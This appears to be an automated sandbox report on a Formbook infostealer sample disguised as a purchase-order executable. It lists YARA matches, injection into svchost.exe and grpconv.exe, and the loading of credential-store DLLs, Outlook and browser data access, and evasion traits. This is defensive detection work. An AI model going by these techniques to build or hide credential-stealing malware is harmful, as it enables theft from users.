Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04569EB0	5_2_04569EB0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461FF09	5_2_0461FF09
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04561F92	5_2_04561F92
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461FFB1	5_2_0461FFB1
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045CD800	5_2_045CD800
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045638E0	5_2_045638E0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04569950	5_2_04569950
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0457B950	5_2_0457B950
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045F5910	5_2_045F5910
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04617A46	5_2_04617A46
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461FA49	5_2_0461FA49
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045D3A6C	5_2_045D3A6C
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0460DAC6	5_2_0460DAC6
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04601AA3	5_2_04601AA3
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045FDAAC	5_2_045FDAAC
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045A5AA0	5_2_045A5AA0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461FB76	5_2_0461FB76
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0459DBF9	5_2_0459DBF9
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045D5BF0	5_2_045D5BF0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0457FB80	5_2_0457FB80
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E1CC0	5_2_002E1CC0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002DCBAE	5_2_002DCBAE
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002DCBB0	5_2_002DCBB0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002DCDD0	5_2_002DCDD0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002DAE50	5_2_002DAE50
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E5390	5_2_002E5390
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E356C	5_2_002E356C
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E3570	5_2_002E3570
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002FBA00	5_2_002FBA00
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0430E73C	5_2_0430E73C
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0430D7A8	5_2_0430D7A8
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0430E288	5_2_0430E288
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04315379	5_2_04315379
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0430E3A3	5_2_0430E3A3

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03775130 appears 57 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03787E54 appears 100 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0372B970 appears 272 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037BF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 037AEA12 appears 86 times
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: String function: 00445AE0 appears 65 times
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: String function: 04595130 appears 58 times
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: String function: 0454B970 appears 277 times
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: String function: 045CEA12 appears 86 times
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: String function: 045A7E54 appears 102 times
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: String function: 045DF290 appears 105 times

Source: Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1471824943.00000000047AD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Purchase Order_ AEPL-2324-1126.exe
Source: Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1472756758.0000000004603000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Purchase Order_ AEPL-2324-1126.exe

Source: Purchase Order_ AEPL-2324-1126.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@16/15

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0044AF6C GetLastError,FormatMessageW,

0_2_0044AF6C

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004333BE
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464EAE

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D619

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

0_2_004755C4

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0046CB5F OleInitialize,CLSIDFromProgID,CLSIDFromString,CoCreateInstance,CoInitializeSecurity,_wcslen,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_0046CB5F

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043305F

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

File created: C:\Users\user~1\AppData\Local\Temp\cunili

Source: Purchase Order_ AEPL-2324-1126.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: grpconv.exe, 00000005.00000002.3859947867.000000000281E000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3859947867.00000000027F1000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3859947867.0000000002841000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1816235847.0000000002812000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3859947867.0000000002812000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Purchase Order_ AEPL-2324-1126.exe

Virustotal: Detection: 27%

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

File read: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Source: unknown	Process created: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe "C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe"
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe"
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Process created: C:\Windows\SysWOW64\grpconv.exe "C:\Windows\SysWOW64\grpconv.exe"
Source: C:\Windows\SysWOW64\grpconv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe"	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Process created: C:\Windows\SysWOW64\grpconv.exe "C:\Windows\SysWOW64\grpconv.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\grpconv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\grpconv.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: Purchase Order_ AEPL-2324-1126.exe

Static file information: File size 1509575 > 1048576

Source:	Binary string: grpconv.pdb source: svchost.exe, 00000002.00000003.1596658465.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1594446965.000000000301B000.00000004.00000020.00020000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000002.3863139699.0000000000868000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: grpconv.pdbGCTL source: svchost.exe, 00000002.00000003.1596658465.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1594446965.000000000301B000.00000004.00000020.00020000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000002.3863139699.0000000000868000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: JkyHsYXxoyjW.exe, 00000003.00000002.3862718845.00000000005BE000.00000002.00000001.01000000.00000004.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3858733307.00000000005BE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1472280499.0000000004680000.00000004.00001000.00020000.00000000.sdmp, Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1471126837.00000000044E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1628089939.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1500202206.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1628089939.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1498259750.0000000003300000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3869522876.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1630288499.000000000436D000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1627999026.00000000041BD000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3869522876.0000000004520000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1472280499.0000000004680000.00000004.00001000.00020000.00000000.sdmp, Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1471126837.00000000044E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1628089939.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1500202206.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1628089939.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1498259750.0000000003300000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, grpconv.exe, 00000005.00000002.3869522876.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1630288499.000000000436D000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1627999026.00000000041BD000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3869522876.0000000004520000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: grpconv.exe, 00000005.00000002.3859947867.000000000279A000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3870343838.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000000.1694933032.0000000002C6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1925812145.00000000214CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: grpconv.exe, 00000005.00000002.3859947867.000000000279A000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3870343838.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000000.1694933032.0000000002C6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1925812145.00000000214CC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00416CB5 push ecx; ret	0_2_00416CC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414860 push ebp; retf	2_2_00414861
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041480D push es; iretd	2_2_0041480F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041F0FC pushad ; ret	2_2_0041F12D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004120A9 push ss; iretd	2_2_004120AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004031A0 push eax; ret	2_2_004031A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041826C push ds; iretd	2_2_0041827D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004082E5 push 00000009h; retf	2_2_00408401
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004182EF push ebx; iretd	2_2_0041831C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040834C push 00000009h; retf	2_2_00408401
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414459 pushfd ; retf	2_2_00414462
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040BE2C pushad ; ret	2_2_0040BE2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040CEEF push 00000033h; iretd	2_2_0040CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A724 push ss; retf	2_2_0041A725
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A7D6 push edx; ret	2_2_0041A7D7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004117F3 push ds; iretd	2_2_004117F4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037309AD push ecx; mov dword ptr [esp], ecx	2_2_037309B6
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045509AD push ecx; mov dword ptr [esp], ecx	5_2_045509B6
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002EC1C3 push cs; ret	5_2_002EC1D7
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002DE650 push ds; iretd	5_2_002DE651
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002D8C89 pushad ; ret	5_2_002D8C8A
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002DEF06 push ss; iretd	5_2_002DEF07
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E50C9 push ds; iretd	5_2_002E50DA
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E514C push ebx; iretd	5_2_002E5179
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002D5142 push 00000009h; retf	5_2_002D525E
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002D51A9 push 00000009h; retf	5_2_002D525E
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E7581 push ss; retf	5_2_002E7582
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E7633 push edx; ret	5_2_002E7634
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E166A push es; iretd	5_2_002E166C
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002E16BD push ebp; retf	5_2_002E16BE
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002EDA1F push eax; retf	5_2_002EDA20

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_0047A330
